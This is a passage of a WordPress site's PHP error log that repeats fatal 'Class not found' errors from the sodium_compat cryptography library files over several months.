  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[13-Nov-2024 09:49:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[13-Nov-2024 09:49:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[13-Nov-2024 09:49:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[13-Nov-2024 09:49:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[13-Nov-2024 09:49:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[13-Nov-2024 09:49:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[13-Nov-2024 09:49:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[13-Nov-2024 09:49:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[13-Nov-2024 09:49:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[13-Nov-2024 09:49:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[13-Nov-2024 09:49:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[13-Nov-2024 09:49:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[13-Nov-2024 09:49:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[16-Nov-2024 04:25:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[16-Nov-2024 04:25:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[16-Nov-2024 04:25:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[16-Nov-2024 04:25:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[16-Nov-2024 04:25:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[16-Nov-2024 04:25:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[16-Nov-2024 04:25:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[16-Nov-2024 04:25:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[16-Nov-2024 04:25:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[16-Nov-2024 04:25:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[16-Nov-2024 04:25:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[16-Nov-2024 04:25:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[16-Nov-2024 04:25:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[16-Nov-2024 04:25:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[16-Nov-2024 04:25:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[17-Nov-2024 02:11:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[17-Nov-2024 02:11:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[17-Nov-2024 02:11:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[17-Nov-2024 02:11:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[17-Nov-2024 02:11:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[17-Nov-2024 02:11:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[17-Nov-2024 02:11:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[17-Nov-2024 02:11:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[17-Nov-2024 02:11:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[17-Nov-2024 02:11:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[17-Nov-2024 02:12:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[17-Nov-2024 02:12:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[17-Nov-2024 02:12:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[17-Nov-2024 02:12:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[17-Nov-2024 02:12:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[17-Nov-2024 02:12:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[02-Feb-2025 02:13:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[02-Feb-2025 02:14:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[02-Feb-2025 02:14:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[02-Feb-2025 02:14:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[02-Feb-2025 02:14:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[02-Feb-2025 02:14:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[02-Feb-2025 02:14:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[02-Feb-2025 02:14:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[02-Feb-2025 02:14:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[02-Feb-2025 02:14:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[02-Feb-2025 02:14:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[02-Feb-2025 02:14:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[02-Feb-2025 02:14:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[02-Feb-2025 02:14:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[02-Feb-2025 02:14:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[02-Feb-2025 02:14:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[22-Feb-2025 06:19:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[22-Feb-2025 06:19:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[22-Feb-2025 06:19:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[22-Feb-2025 06:19:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[22-Feb-2025 06:19:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[22-Feb-2025 06:19:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[22-Feb-2025 06:19:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[22-Feb-2025 06:19:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[22-Feb-2025 06:19:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[22-Feb-2025 06:19:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[22-Feb-2025 06:19:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[22-Feb-2025 06:19:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[22-Feb-2025 06:19:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[22-Feb-2025 06:19:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[22-Feb-2025 06:19:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[22-Feb-2025 06:19:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[29-Mar-2025 10:00:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[29-Mar-2025 10:00:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[29-Mar-2025 10:00:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[29-Mar-2025 10:00:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[29-Mar-2025 10:01:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[29-Mar-2025 10:01:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[29-Mar-2025 10:01:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[29-Mar-2025 10:01:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[29-Mar-2025 10:01:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[29-Mar-2025 10:01:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
